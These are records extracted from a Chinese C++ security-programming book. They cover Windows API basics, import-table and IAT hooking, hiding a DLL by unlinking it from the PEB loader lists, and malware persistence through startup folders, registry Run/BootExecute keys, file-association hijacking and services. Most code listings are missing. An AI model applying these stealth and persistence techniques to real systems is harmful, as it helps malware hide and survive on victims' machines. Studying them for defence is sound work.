    {"text": "7.5.4 for循环结构 介绍完分支结构后，相应的就要介绍C语言中的循环结构，下面先来介绍一下for循环， C语言代码如下： 这是一个很经典的求1加到100的累加和的例子，我们看其反汇编代码： 这段for循环的反汇编代码很清晰，也很简单，就不对反汇编代码做具体介绍了，下面只对for循环结构做一个反汇编的总结，具体如下所示： 修改循环变量处： 循环变量比较处： 7.5.5 do while与 while循环结构 最后再介绍两种循环结构，分别是do……while和while循环结构，同样使用简单的例子来整理其反汇编对应的结构。 先来看do……while循环，C语言代码如下： 再看其反汇编代码： do……while循环对应的反汇编结构如下： 下面来看一个while循环的代码： 看其反汇编代码： 整个反汇编代码与do……while类似，只是把判断放到前面了，while循环的结构如下： 对于for、do……while和while这3种循环来说，do……while的效率显然更高一些。 编程时可以尽量选择do……while循环来使用。"},
    {"text": "C++黑客编程揭秘与防范 3.2 AutoRun免疫程序的编写 我们通过上面学的几个函数来完成一个简单的AutoRun免疫程序。 3.2.1 AutoRun免疫原理 每当我们打开U盘时，看到有一个AutoRun.inf文件时都会不由地倒吸口凉气，“该死！又中病毒了！”。是的，有一种病毒程序通过AutoRun.inf文件使其自动运行起来，想必这不用做过多的介绍每一位都非常清楚。网上有很多免疫工具，现在一些修改版的操作系统里面也会提供这样一个免疫的小工具。它免疫的原理是建立一个不被删除的文件AutoRun.inf文件夹，以防止病毒生成一个运行病毒的AutoRun.inf。 3.2.2 AutoRun免疫程序的代码实现 我们的程序使用MFC编写，上面介绍的API函数会使用到两个，并且还会加入新的API函数。好了，开始我们的代码吧。 启动VC6，选择菜单“File”->“New”命令，在弹出的“New”对话框中选择“Projects”选项卡，在左侧的列表中选择“MFC AppWizard（exe）”，在右侧填写项目的名称“ImmunityU”，如图3-1所示。 图3-1 新建MFC项目工程 单击“OK”按钮后，出现“MFC AppWizard-Step 1”的界面，选择“Dialog based”单选钮，如图3-2所示。 图3-2 “MFC AppWizard-Step 1”界面 这里，我们选择以对话框为基础进行开发。单击“Finish”按钮会出现最后一个对话框，直接单击“OK”按钮关闭对话框。 3.2.3 界面设置 我们的程序是有界面的，则首先要对界面进行一些设置。先把界面上所有的控件都删除掉，然后添加一个ComBoBox控件和两个按钮控件，如图3-3所示。 给添加的ComBoBox控件重新命名一个ID为：IDC_COMBO_DRIVER，并为其添加一个控件变量。添加的方法如下： 在IDC_COMBO_DRIVER上单击右键，在弹出的菜单上选择“ClassWizard”命令，弹出“MFC ClassWizard”对话框，选择“Member Variables”选项卡，双击IDC_COMBO_DRIVER， 弹出“Add Member Variable”对话框，添加变量名为m_ComboDriver，选择类型为“Control”，然后单击“OK”按钮。添加情况如图3-4所示。 图3-3 程序界面 图3-4 给IDC_COMBO_DRIVER添加控件变量m_ComboDriver 3.2.4 代码相关部分 我们进行免疫时是对某个分区进行免疫的，因此要在ComboBox控件中显示出所有的磁盘分区供用户选择。在ComboBox中显示所有的磁盘分区，我们定义成一个函数来完成该功能。 把这个函数添加到OnInitDialog()函数的最后面，ComboBox中就会有所有的磁盘分区的盘符了。这个自定义函数中出现了两个我们尚不熟悉的API函数，一个是SetDlgItemText()，另一个是GetLogicalDriveStrings()。下面分别介绍这两个函数。 设置编辑框显示的内容： 该函数的第一个参数用来指定控件变量的ID，第二个参数指定一个字符串。 获取字符串类型的驱动器列表： 该函数的第一个参数指定缓冲区的长度，第二个参数指定一个缓冲区。 了解了这两个函数后，再来看代码就很容易理解了。在while循环中的AddString()是CComboBox类的一个成员函数，该函数是用来向CComboBox添加一个字符串的。如果你不理解那个while循环的话，建议在VC6下调试一下看看szDriverString里保存的内容，就会明白while循环的作用了。这个调试建议大家亲自动手练习一次，这是第一次要求大家动手调试。 接下来添加“免疫”按钮的代码，代码很简单，如下： 这段代码中加了详细的注释，大家应该可以看懂，就不做过多介绍了，如果哪里有疑惑的话，请大家自己动手调试一下。最后看一下“取消”按钮的代码： 整个对Autorun进行免疫的代码就完成了，大家可以自己进行一下试验。启动我们的程序，选择需要进行免疫的盘符，单击“免疫”，打开被免疫的那个磁盘，看看是不是真的免疫了，再试着用右键删除看看效果，可以看到我们的实现是成功的。 C++黑客编程揭秘与防范 黑客编程与普通编程的区别 黑客编程，其实也就是利用普通的编程技术编写一些黑客工具，或者是网络安全工具。该方面的知识是一把双刃剑，无论是编写黑客工具，还是编写安全工具，都离不开这些知识。本书的重点是通过简单的编程知识配合良性的实例让大家了解黑客编程，并对漏洞进行防范，希望大家正确对待技术的合理应用。"},
    {"text": "C++黑客编程揭秘与防范 图书在版编目（C I P）数据 C++黑客编程揭秘与防范 / 冀云编著．-- 北京：人民邮电出版社，2012.6 ISBN 978-7-115-28064-0 I．①C…II．①冀…III．①C语言—程序设计IV．①TP312 中国版本图书馆CIP数据核字（2012）第081089号 内容提要 本书旨在通过简单的语法知识及常用的系统函数编程，完成一些有特定功能的安全工具，让读者对系统知识等各方面有一个全面的了解，并且在笔者的带领下一步步完成书中的实例。本书主要内容为： 第1章了解黑客编程，主要讲解了VC （Visual C++的缩写）和Windwos下安全编程方面的基础知识。第2章从剖析简单的木马说起，讲解有关的网络编程和协议知识。第3章Windows应用编程基础，讲解API编程的技术。第4章加密与解密，讲解PE等加密有关的知识。第5章HOOK编程，讲解了与钩子有关的知识。第6章黑客编程剖析，剖析了病毒的原理和攻防技术，以及安全工具的开发。第7章最后的旅程——简单驱动开发及逆向。 本书适合网络安全人员、黑客爱好者，以及相关的程序员阅读。 C++黑客编程揭秘与防范 ♦ 编 著 冀 云 责任编辑 张 涛 ♦ 人民邮电出版社出版发行 北京市东城区夕照寺街14号 邮编 100061 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 北京鑫正大印刷有限公司印刷 ♦ 开本：787×1092 1/16 印张：17.25 字数：406千字 2012年6月第1版 印数：1 – 3 500册 2012年6月北京第1次印刷 ISBN 978-7-115-28064-0 定价：39.00元 读者服务热线：(010) 67132692 印装质量热线：(010) 67129223 反盗版热线：(010) 67171154 C++黑客编程揭秘与防范 第3章 Windows应用编程基础 刚开始接触编程的“玩黑”的读者可能都会觉得API是一个很神奇的且很万能的东西。其实，API只是Windows下进行开发的基础知识，当然基础并不代表简单，能真正用好API来开发程序也是非常不容易的，本章将重点介绍很多今后在编程中常会用到的API函数，包括进程、线程、文件、注册表、注入等相关的API函数。 C++黑客编程揭秘与防范 2.5 总结 本章内容简单易学，不会因为过多复杂难懂的代码而让大家失去了学习的热情。也许你觉得意犹未尽，也许觉得不够深入，我们的学习目标就是通过简单的知识，完成实现特定功能的程序。在后面学习的过程中，我们仍然以这种方式进行学习，也会随着这种学习方式逐步地深入了解编程知识。 C++黑客编程揭秘与防范 第1章 黑客编程入门 你是否曾经在用别人开发的工具尝试“入侵”，你是否希望开发出自己的黑器……相信很多人有着这种近似相同的经历。本章将简单介绍黑客编程及工具开发。如果你是初学编程，如果你从来没有接触过黑客软件的开发，如果你急于想了解黑客编程方面的知识……那么就请继续往下阅读。 C++黑客编程揭秘与防范"},
    {"text": "C++黑客编程揭秘与防范 6.3 隐藏DLL文件 前面的章节介绍了如何隐藏进程，隐藏进程的方法是把要在进程中完成的功能放在DLL文件中完成，然后将DLL文件注入到其他进程当中，从而达到隐藏进程的目的。 现在要做的是隐藏进程中的DLL文件，当把DLL文件注入到远程进程后，可以将DLL也隐藏掉。"},
    {"text": "依次单击菜单栏的“File” -> “Symbol File Path…”命令，在里面输入符号文件路径，这里直接填入微软为我们提供的符号服务器，“srv*F:\\Program Files\\symbolcache*http://msdl.microsoft.com/download/symbols”，如图6-17所示。"},
    {"text": "我们来进行本地调试，依次单击菜单“File” -> “Kernel Debug”命令，出现如图6-18所示的窗口。 图6-16 WinDBG启动界面 图6-17 设置符号文件路径 图6-18 Kernel Debugging窗口 选择“Local”选项卡，也就是进行本地调试，单击“确定”按钮。 这样，就可以用WinDBG开始调试了，跟着步骤一步一步做就可以了。"},
    {"text": "获得TEB以后，通过TEB的地址来解析TEB的数据结构，从而获得PEB，也就是进程环境块，命令为“dt_teb 7ffde000”,WinDBG的输出内容如下： 上面的输出只是部分输出，该结构体非常长，这里只查看其中的一部分内容，只要找到PEB在TEB中的偏移就可以了。 从该命令的输出可以看出，PEB结构体的地址位于TEB结构体偏移0×30的位置，该位置保存的地址是7ffd5000。"},
    {"text": "也就是说PEB的地址是7ffd5000，通过该地址来解析PEB，并获得LDR。 在命令提示符处输入命令“dt nt!_peb 7ffd5000”，输出内容如下： 从输出结果可以看出，LDR在PEB结构体偏移的0×0C处，该地址保存的地址是001ale90。 通过该地址来解析LDR结构体。"},
    {"text": "在命令提示符输入命令“dt _peb_ldr_data 001ale90”, WinDBG输出如下内容： 在这个结构体中，可以看到3个相同的数据结构，也就是在偏移0×0c、0×14、0×24处的3个结构体_LIST_ENTRY。"},
    {"text": "在这么多的输出中，在链表偏移0×18的位置是模块的映射地址，即ImageBase，在链表偏移0×28的位置是模块的路径及名称的地址，在0×30的位置是模块名称的地址。"},
    {"text": "可以看到，输出WinDBG的全部路径，来看一下偏移0×18的地址，该进程的映射基址为01000000。 再来看一下偏移0×30处的地址保存着20ca6，查看该地址，输入命令“du 20ca6”。"},
    {"text": "上面介绍的几个结构体在VC6的头文件中是找不到的，不过在网上还是可以查到的。 这里给出MSDN上给出的几个结构体的定义，该MSDN的地址为： http://msdn.microsoft.com/zh-cn/library/aa813708（v=VS. 85） . aspx，方便大家查看。"},
    {"text": "该函数的实现没有太多的技巧，主要在于对C语言中指针的掌握，还有就是对以上介绍的几个结构体之间的关系能够掌握，也就是各结构体之间的数据关系。"},
    {"text": "6.3.4 指定模块的隐藏 模块的隐藏是把指定模块在链表中的节点断掉，也就是做一个数据结构中链表的删除动作，只不过不进行删除，只是将其节点脱链即可，如图6-20所示。"},
    {"text": "图6-19 自实现的枚举模块函数 图6-20 链表节点脱链 如果是枚举模块的话，一般情况下，只要枚举第二条链表就可以了，也就是偏移0×14处的那条。 如果要做模块隐藏的话，那最好是将3条链表中的指定模块全部都脱链。 对于脱 链的方法，其实也是对3条链表进行遍历，然后将指定的模块脱链就可以了。"},
    {"text": "下面给出代码，如下： 在main()函数中调用这个函数，主函数如下： 接下来隐藏调用“kernel32.dll”这个模块，当然，这里的隐藏只能是这个程序运行时隐藏该进程中的“kernel32.dll”模块，对其余进程中的模块并没有影响。 在程序的末尾使用getchar()，其用意是希望该进程可以停留住，否则它如果退出，便没有验证“kernel32.dll”模块是否真的被隐藏的机会了。"},
    {"text": "C++黑客编程揭秘与防范 5.3 导入地址表钩子——IATHOOK 导入地址表是PE文件结构中的一个表结构，在学习PE文件结构的时候虽然没有提到导入地址表，但是提到了数据目录。"},
    {"text": "数据目录在IMAGE_OPTIONAL_HEADER中的DataDirectory中，我们回忆一下它的定义： （1） NumberOfRvaAndSizes:该字段表示数据目录的个数，该个数的定义为16。 如下： （2）DataDirectory:数据目录表，由NumberOfRvaAndSize个IMAGE_DATA_DIRECTORY结构体组成。"},
    {"text": "在免杀中也有与导入表相关的内容，比如移动导入表函数、修改导入表描述信息、隐藏导入表……不过这些操作都是杀毒软件将特征码定位到了导入表上才需要这样做，不过可以看出导入表也同样受到杀毒软件的“关注”。"},
    {"text": "该结构体中保存了导入函数的重要信息，每个DLL都对应一个IMAGE_IMPORT_DESCRIPTOR结构，也就是说导入的DLL文件与IMAGE_IMPORT_DESCRIPTOR是一对一的关系。 IMAGE_IMPORT_DESCRIPTOR在文件中是一个数组，但是文件中并没有明确地指出导入表的个数，在导入表中是一个以全“0”的IMAGE_IMPORT_DESCRIPTOR为结束的。"},
    {"text": "IMAGE THUNK_DATA结构体的定义如下： 该结构体的成员是一个联合体，虽然联合体中有若干个变量，但由于该结构体中包含的是一个联合体，那么这个结构体也就相当于只有一个成员变量，只是有时代表的意义不同。"},
    {"text": "5.3.3 手动分析导入表 在学习PE文件结构时就借助十六进制编辑器完成了我们的学习，现在仍然通过十六进制编辑器来学习导入表的结构体IMAGE_IMPORT_DESCRIPTOR。"},
    {"text": "图5-18 计算IMAGE—IMPORT_DESCRIPTOR的FileOffset 图5-19 C32中的“跳转到” 单击“确定”按钮，来到了文件偏移为00023000的位置处，如图5-20所示。 图5-20 导入表位置 来到文件偏移的00023000处就是IMAGE_IMPORT_DESCRIPTOR的开始位置了。 从图 5-20中可以看出，该文件有2个IMAGE_IMPORT_DESCRIPTOR结构体。 我们重点分析第一个IMAGE_IMPORT_DESCRIPTOR,同样关于其他几个相关的数据结构也只分析第一个。 在IMAGE_IMPORT_DESCRIPTOR中只看最后两个字段，分别是Name和FirstThunk。 看一下第一个IMAGE_IMPORT_DESCRIPTOR的这两个字段的值分别是00024338和 00024190。"},
    {"text": "图5-210 0023338处的内容 从图5-21中可以看出，这个位置保存的内容是一个字符串，该字符串的内容为 KERNEL32.dll,说明这个Name值的确保存的是DLL名字符串的RVA。"},
    {"text": "两个结构体在文件当中是没有差别的，但是当PE文件被装载内存后，第二个IMAGE_THUNK_DATA的值会被修正，该值为一个RVA,该RVA加上映像基址后，虚拟地址就保存了真正的导入函数的入口地址。"},
    {"text": "我们知道一个DLL文件会对应一个IMAGE_IMPORT_DESCRIPTOR结构，而一个DLL文件中有多个函数，那么需要使用两个循环来进行枚举。 外层循环来枚举所有的DLL，而内层循环来枚举所导入的该DLL的所有的函数名及函数地址。"},
    {"text": "对某个程序进行一个测试，看其输出结果，如图5-24所示。 图5-24 测试程序的导入表信息 用OD进行验证一下，对该测试程序的导入表信息的获取是否正确。"},
    {"text": "用OD载入测试程序，然后在数据窗口中按下Ctrl+G组合键，输入地址“424190”，然后在数据窗口上单击鼠标右键，在弹出的菜单中选择“长型”-> “地址”命令，看数据窗口的内容，如图5-25所示。"},
    {"text": "5.3.5 IAT HOOK介绍 在前面的内容中提到这样一个问题，在IMAGE_IMPORT_DESCRIPTOR中，有两个 IMAGE_THUNK_DATA结构体，第一个为导入名字表，第二个为导入地址表（IAT）。"},
    {"text": "两个 结构体在文件当中是没有差别的，但是当PE文件被装载内存后，第二个 IMAGE_THUNK_DATA的值会被修正，该值为一个RVA,该RVA加上映像基址后，虚拟地址就保存了真正的导入函数的入口地址。"},
    {"text": "在这个描述当中我们知道，要对IAT进行HOOK大概分为3个步骤,首先是获得要HOOK函数的地址，第二步是找到该函数所保存的IAT中的地址，最后一步是把IAT中的地址修改为HOOK函数的地址。"},
    {"text": "比如要在IAT中HOOK系统模块kernel32.dll中的ReadFile()函数，那么首先是获得 ReadFile()函数的地址，第二步是找到ReadFile()所保存的IAT地址，最后一步是把IAT中的 ReadFile()函数的地址修改为HOOK函数的地址。"},
    {"text": "5.3.6 IAT HOOK之 CreateFileW () 上次对Explorer.exe进程的CreateProcessW()函数进行了Inline Hook,这次对记事本进程的CreateFileW()函数进行IAT Hook。 对CreateFileW()函数进行HOOK后主要是管控记事本要打开的文件是否允许被打开，我们一步一步地来完成代码。"},
    {"text": "先建立一个DLL文件，然后定义好DLL文件的主函数，并定义一个 HookNotePadProcessIAT()函数，在DLL被进程加载的时候，让DLL文件去调用 HookNotePadProcessIAT()函数。"},
    {"text": "代码如下： 在遍历某程序的导入表时是通过文件映射来完成的，但是当一个可执行文件已经被 Windows装载器装载入内存后，便可以省去CreateFile()、CreateFileMapping()等诸多繁琐的步骤，取而代之的是通过简单的GetModuleHandle()函数就可以得到EXE文件的模块映像地址，并能够很容易地获取DLL文件导入表的虚拟地址。 代码如下： 在获得导入表的位置以后，要在导入表中找寻要HOOK函数的模块名，也就是说，要对CreateFileW()函数进行HOOK，首先要找到该进程中是否有“kernel32.dll”这个模块存在。"},
    {"text": "当然，我们并不是简单地要找到该模块是否存在，关键是要找到这个模块所对应的IMAGE_IMPORT_DESCRIPTOR结构体，这样才能通过kernel32.d11所对应的IMAGE_IMPORT_DESCRIPTOR结构体去查找保存CreateFileW()函数的地址，并进行修改。"},
    {"text": "由于这是演示程序，那么笔者在G盘下建立一个test.txt文件，然后对其进行管控，也就是说，如果用记事 本打开这个程序的话，可以选择性的是否允许打开，或者不允许打开。"},
    {"text": "代码如下： 我们HOOK的函数是CreateFileW()，通过函数中的W可以看出，这个函数是一个UNICODE版本的字符串，也就是宽字符串。 在CreateFileW()函数的参数中，1pFileName的类型是一个指向宽字符的指针变量。"},
    {"text": "然后用记事本打开G盘下的test.txt文件，会弹出对话框询问“是否打开文件”，单击“否”按钮，也就是拒绝打开该文件，如图5-26和图5-27所示。 在图5-27中单击“确定”按钮，然后可以看到记事本并没有打开G盘下的test.txt文件，这说明对G盘下的test.txt文件的管控还算是成功的（这个程序并不完善，希望大家可以自行将其完善）。"},
    {"text": "当可执行文件直接通过调用LoadLibrary()函数和GetProcAddress()函数来使用某个函数的话，上面的HOOK代码是无能为力的。 如何解决这样的问题，答案是要对LoadLibrary()和 GetProcAddress()函数也进行HOOK，这样就可以避免对DLL的显式加载，和对函数的显式调用了。"},
    {"text": "C++黑客编程揭秘与防范 3.5 进程与线程 3.5.1 进程 当按下Ctrl+Shift+Esc组合键时，就打开了Windows任务管理器对话框，里面有很多进程列表，如图3-9所示。"},
    {"text": "进程会向系统申请各种所需的资源，并且会生成一个主线程，线程会拥有CPU执行时间，占用进程申请的内存……那么在编程的时候用API函数启动一个进程也是我们要学习的内容。 可以创建进程的API函数有WinExec()、ShellExecute()和CreateProcess()等。"},
    {"text": "对于第二个参数是指程序运行窗口的状态，常用的有两个，一个是SW_SHOW，另一个是SW_HIDE。 第一个参数是程序运行后窗口显示，另一个是程序运行后窗口不显示。"},
    {"text": "WinExec()这个函数多用在“下载者”中，“下载者”的英文名字叫“Downloader”，也就是下载器的意思，它是一种恶意程序，该恶意程序的功能较为单一（相对木马来说功能单一）。"},
    {"text": "文件的下载方式比较多，但是相对简单而又比较常用的函数是URLDownloadToFile()，这个函数也是经常出现在“下载者”中的函数，该函数的定义如下： 参数说明如下。"},
    {"text": "3.5.4 CreateProcess()函数介绍与程序创建 通常情况下，我们创建一个进程都会选择使用CreateProcess()，该函数的参数非常多，功能更强大，使用也更为灵活。"},
    {"text": "在我们编写C程序时，如果是控制台下的程序，那么编写程序的入口函数是main()函数，也就是我们通常所说的主函数。 如果是一个Windows程序，那么入口函数是WinMain()函数，即使使用MFC进行开发，也是有WinMain()函数的，只不过它被庞大的MFC框架给隐藏了。 那么我们的函数真的是从main()函数或者是WinMain()开始执行的吗？"},
    {"text": "按下F10键，这时，我们的程序在VC6下处于调试状态，打开“CallStack”窗口，如图3-11所示。 图3-11 CallStack窗口内容 双击“mainCRTStartup() line 206 + 25 bytes”这一行，查看代码编辑窗口的内容，如图3-12所示。 图3-12 当前代码编辑窗口内容 可以看到，绿色三角指向那行代码是对main()函数的调用，并且main()函数还有返回值。"},
    {"text": "那么，当定义main()函数时，main()函数的返回值是什么呢？ 通常情况下，定义main()函数的返回值是int型。 但是，也有一部分人喜欢把main()函数的返回值定义为void型，也就是空型。 那么，如果定义为void型，mainret接收的返回值是什么呢？"},
    {"text": "除了这个以外，大家看一下VC6的标题栏，标题栏上给出的这个“.C”文件，我们叫做启动代码，用于在启动一个进程后对全局变量等内容的初始化。"},
    {"text": "（3） lpProcessAttributes：进程安全属性，该值通常为NULL，表示为默认安全属性。 （4） lpThreadAttributes：线程安全属性，该值通常为NULL，表示为默认安全属性。"},
    {"text": "也就是说，父进程要对子进程进行调试的话，需要指定DEBUG_PROCESS。 在指定了DEBUG_PROCESS后，子进程创建的子进程，同样也处在被调试状态中。 如果不希望子进程创建的子进程处在调试状态，那么需要同时指定DEBUG_ONLY_THIS_PROCESS。 在有些情况下，如果希望被创建的子进程暂时不要运行，那么可以指定CREATE_SUSPENDED参数。 事后希望该子进程运行的话，那么可以使用ResumeThread()函数使子进程恢复运行。"},
    {"text": "该参数是一个结构体，该结构体决定进程启动的状态，该结构体的定义如下： 该结构体在使用前，需要对cb这个成员变量赋值，该成员变量用于保存结构体的大小。"},
    {"text": "3.5.5 进程的结束 介绍完进程的创建，对于进程的结束，通常情况下希望程序可以自己进行结束，也就是进程正常退出运行状态。 在进程正常进行退出时，会调用ExitProcess()函数，该函数使用简单，这里就不进行介绍了。"},
    {"text": "结束其他进程需要使用到TerminateProcess()这个函数，该函数的定义如下： 该函数的参数比较少，只有两个，第一个参数是要结束进程的进程句柄，第二个参数通 常给0。"},
    {"text": "那么这里遇到一个问题，我们如何获得要结束进程的进程句柄呢？ 方法有两种，第一种方法是枚举进程列表，找到要结束的进程，枚举进程的内容稍后会介绍。 第二种方法是根据要结束进程的窗口标题获得该窗口的句柄，然后通过窗口句柄得到进程的PID，有了进程的PID后，我们可以打开该进程得到进程的句柄，然后将其结束。"},
    {"text": "对于我们来说，希望通过进程的窗口名来获得窗口的句柄，因此这里只要给出窗口名就可以了。 在我们的代码中，“记事本”的窗口名为“无标题-记事本”，如果窗口名取得不准确的话，那么将无法获得该窗口的窗口句柄。 怎样才能准确无误地获取窗口的名称呢？"},
    {"text": "这里推荐大家使用一款VC6中自带的工具——SPY++。 只要安装了VC6后，就会安装该工具，大家可以在开始菜单中找到，其具体位置为：“开始” -> “程序” -> “Microsoft Visual Studio 6.0” -> “Microsoft Visual Studio 6.0 Tools” -> “Spy++”。 打开“Spy++”这个工具，如图3-13所示。"},
    {"text": "单击工具栏中的 按钮，该按钮为“Find”按钮，出现如图3-14所示的“Windows Search”界面。 用鼠标拖动“Finder Tool”后面的那个图标到“记事本”进程的标题栏上，该窗口会显示出“记事本”的窗口名，如图3-15所示。 图3-13 Spy++工具界面 图3-14 “Window Search”界面 图3-15 “Window Search”显示“记事本”的窗口名称 在“Caption”中的内容就是“记事本”程序的窗口名称，我们把它作为FindWindow()函数的第二参数，这样，可以获取该窗口的窗口句柄，再通过窗口句柄获得该窗口所属进程的ID。"},
    {"text": "代码如下： 该函数第一个参数是获取到的窗口句柄，第二个参数是一个输出参数，会返回该进程的ID。 在获得了进程ID后，通常通过使用OpenProcess()来获得进程的句柄。"},
    {"text": "该函数的返回值为进程的句柄，通过这个句柄可以结束进程。 既然已经获得了进程的句柄，那么就可以结束指定的进程了。 在结束完进程后，也要记得用CloseHandle()关闭用OpenProcess()打开的进程句柄。"},
    {"text": "枚举进程需要的API函数分别有CreateToolhelp32Snapshot()，该函数的作用是对当前系统中的进程进行一个快照，在创建快照以后进行逐个进程的枚举。 枚举进程的函数是Process32First()/Process32Next()。 如果是枚举线程的话，那么枚举函数是Thread32First()/Thread32Next()。 如果是枚举进程中的DLL的话，那么枚举函数是Module32First()/Module32Next()。"},
    {"text": "①TH32CS_SNAPMODULE：在枚举进程中的DLL时指定。 ②TH32CS_SNAPPROCESS：在枚举系统中的进程时指定。 ③TH32CS_SNAPTHREAD：在枚举系统中的线程时指定。"},
    {"text": "对于枚举进程中加载DLL的枚举，对于系统中线程的枚举，都与此函数类似，只是枚举DLL与线程时，XXX32First()与XXX32Next()的第二个参数指向的结构体不同。"},
    {"text": "对于枚举进程的API函数已经学习了，下面看一下枚举进程、枚举进程中加载DLL的代码吧。 枚举系统进程的代码： 枚举指定进程中加载DLL的代码： 3.5.7 调整当前进程的权限 我们枚举的代码基本上是完成了，到VC6下直接按Ctrl+F5组合键运行程序，可以看到我们枚举的进程都出来了。 然后选中“svchost.exe”进程，单击“查看DLL”按钮，“svchost.exe”进程中加载的DLL也都枚举出来了，这样运行是没有问题的。 接下来找到编译好的任务管理器运行（不要直接在VC6下运行），可以看到，我们枚举的进程也都显示出来了。 仍然选中“svchost.exe”，然后单击“查看DLL”，是不是没有查看到“svchost.exe”进程加载的DLL文件，这是什么原因？ 换一个其他的进程试试，比如选择自己编写的任务管理器试试，可以查看其DLL文件。 通过试验发现，系统文件的DLL我们都无法枚举到，可是在VC6下直接运行是可以枚举到的。 不单单是这方面的问题，而且在使用OpenProcess()函数打开如smss.exe、winlogon.exe等系统进程的时候，也同样会导致函数的调用失败，其实这个问题是当前进程权限级别不够所导致的。 解决这个问题很容易，只要当前进程具有“SeDebugPrivilege”权限就可以了，接下来就来说明这个调整当前进程的权限。"},
    {"text": "比如，病毒有两个运行的进程，它们在不断的“互相帮助”，当一个病毒进程发现另一个病毒进程被结束了，那么它会再次把那个病毒运行起来。"},
    {"text": "如果没有更新PSDK的话，需要使用LoadLibrary()和GetProcAddress()来使用该函数。 对于LoadLibrary()和GetProcAddress()函数的使用在DLL编程中将会进行介绍。"},
    {"text": "枚举线程的函数是Thread32First()和Thread32Next()这两个，对于枚举线程前，我们用CreateToolhelp32Snapshot()只能创建系统的线程快照，不能创建指定进程中的线程的快照。"},
    {"text": "看一下暂停的代码： 与进程暂停相对应的是恢复暂停的进程。 恢复暂停的进程的函数是使用ResumeThread()函数，该函数原型如下： 该函数的使用方法与SuspendThread()一样。 恢复暂停的进程的代码大家可根据暂停进程的代码自行修改，这里就不给出完整的代码了。"},
    {"text": "在这里重点介绍该工具中的一个小功能，单击菜单“Options” -> “Replace Task Manager”命令，该功能是用来替换系统的任务管理的，也就是将Process Explorer设为默认的任务管理器。 大家替换一下任务管理器，然后按下Ctrl+Shift+Esc组合键试试看，是不是Process Explorer被打开了，原来的任务管理器不见了。 如果想要还原到原来的任务管理器，只要再次单击“Replace Task Manager”菜单项就可以了，我们单击一下该菜单还原到原来的任务管理器。"},
    {"text": "图3-18 RegMon界面 按Ctrl+L组合键，弹出“Regmon Filter”界面，我们在“Include”文本框中输入“procexp.exe”，如图3-19所示。 图3-19 RegMon Filter界面 输入完后单击“OK”按钮，再单击Process Explorer的“Replace Task Manager”菜单项， 看RegMon捕获到的注册表的信息，如图3-20和图3-21所示。"},
    {"text": "图3-20 修改的注册表项 图3-21 修改的注册表键的值 打开注册表编辑器看一下被修改的内容，如图3-22所示。 图3-22 注册表中被修改的值 将该值删掉，再按下Ctrl + Shift + Esc组合键看一下，默认的任务管理器出现了，这就是注册表中有名的映像劫持。"},
    {"text": "3.5.9 多线程 线程是进程中的一个执行单位（每个进程都必须有一个主线程），一个进程中可以有多个线程，而一个线程只存在于一个进程中。"},
    {"text": "在多处理器中，不同的线程可以同时运行在不同的CPU上，这样可以提高程序运行的效率。 除此而外，在有些方面必须要使用多线程。 比如，如果扫描磁盘并同时在程序界面上显示当前扫描的位置，这样就必须使用多线程。"},
    {"text": "这里介绍一下WINAPI, WINAPI是一个宏，该宏的定义如下： 这是一种函数的调用约定，该调用约定会在后面的章节中介绍，在这里只需要了解就可以了。"},
    {"text": "主线程结束，那么意味着程序也就结束了，所以我们自己创建的线程根本就没有被执行到。 如果要等我们自己创建的线程结束后才可以输出“main”的话，主线程要如何等待我们创建的线程呢？"},
    {"text": "修改上面的代码，在CreateThread()函数的后面加入以下代码： 添加WaitForSingleObject()以后，主线程会等待我们的创建的线程结束后再执行主线程后续的代码。"},
    {"text": "WaitForSingleObject()只能等待一个线程，可是在程序中往往要创建很多个线程来执行，那么如果需要等待若干个线程的完成状态的话，WaitForSingleObject()就无能为力了。 不过，系统提供了其他的函数来让我们等待多个线程的完成状态，该函数的定义如下： 在使用多线程时常常需要注意很多问题。"},
    {"text": "我们的代码比较短，在一个CPU时间片内会完成，因此可能看不出错误，为了达到出错的效果，在代码中加入Sleep（1），主动让出CPU，让CPU进行线程的切换。"},
    {"text": "在多线程环境中，对共享资源的操作要进行保护，在这里，我们可以使用临界区对象对该全局变量进行保护。 图3-24 运行结果 临界区对象是一个CRITICAL_SECTION的数据结构，Windows操作系统使用该数据结构来进行对关键代码的保护，以确保多线程下的共享资源。"},
    {"text": "对于临界区的函数有4个，分别是初始化临界区对象（InitializeCriticalSection()）、进入临界区（EnterCriticalSection()）、离开临界区（LeaveCriticalSection()）和删除临界区对象（DeleteCriticalSection()）。"},
    {"text": "下面先来讨论如何实现恶意程序的自启动。 恶意程序的自启动的实现方法很多，下面只介绍几种常见的方法，至于其他方法大家可自己在网上搜集，然后通过编程实现即可。"},
    {"text": "在“启动”菜单处单击鼠标右键，然后选择“属性”命令，就可以看到启动文件夹在硬盘上的具体位置了，其位置如：“系统盘：\\Documents and Settings\\<用户名>\\『开始』菜单\\程序”。"},
    {"text": "下面给出它的部分代码，代码如下： 图6-1 启动文件夹的位置 打开All Users下的启动目录，也就是上面的“系统盘：\\Documents and Settings\\All Users\\「开始」菜单\\程序”这个位置，然后编译连接并运行程序，可以看到在启动目录下多了一个“test.exe”的程序。 二、 注册表启动 注册表启动也是一种很常见的启动方法，而且在注册表中可以用来进行启动的位置非常多。 这里给大家介绍几个在注册表中可以完成自启动的注册表位置。 1. Run注册表键 HKCU \\Software\\Microsoft\\Windows\\CurrentVersion\\Run HKLM \\Software\\Microsoft\\Windows\\CurrentVersion\\Run 2. Boot Execute HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\BootExecute HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\SetupExecute HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\Execute HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\SOInitialCommand 3. Load注册表键 HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load 当然，在注册表下绝对不只这么几个位置能够使程序跟随系统自动启动，这只是注册表下可以让程序随机启动位置的“冰山一角”。"},
    {"text": "图6-2 Run注册表键中的启动项 同样，下面来完成一个通过写入注册表进行自启动的例子程序，其部分代码如下： 将该代码编译连接并运行，然后打开注册表中写入的位置查看一下，会发现已经把它写入了注册表，当下次开机时，它就会随机启动了。"},
    {"text": "比如，默认启动“文本文件”的程序是记事本程序，只要在注册表中把启动“文本文件”的关联程序改掉，也就是把记事本程序改掉，改成我们的木马程序，然后由木马去调用记事本来启动文本文件，这样，就达到了启动木马的效果。"},
    {"text": "创建系统服务的方法是使用CreateService()函数进行创建，然后通过服务来启动恶意程序。 CreateService()函数的定义如下： 该函数的参数虽然很多，但是使用起来并不复杂，大部分参数可以使用NULL来表示。"},
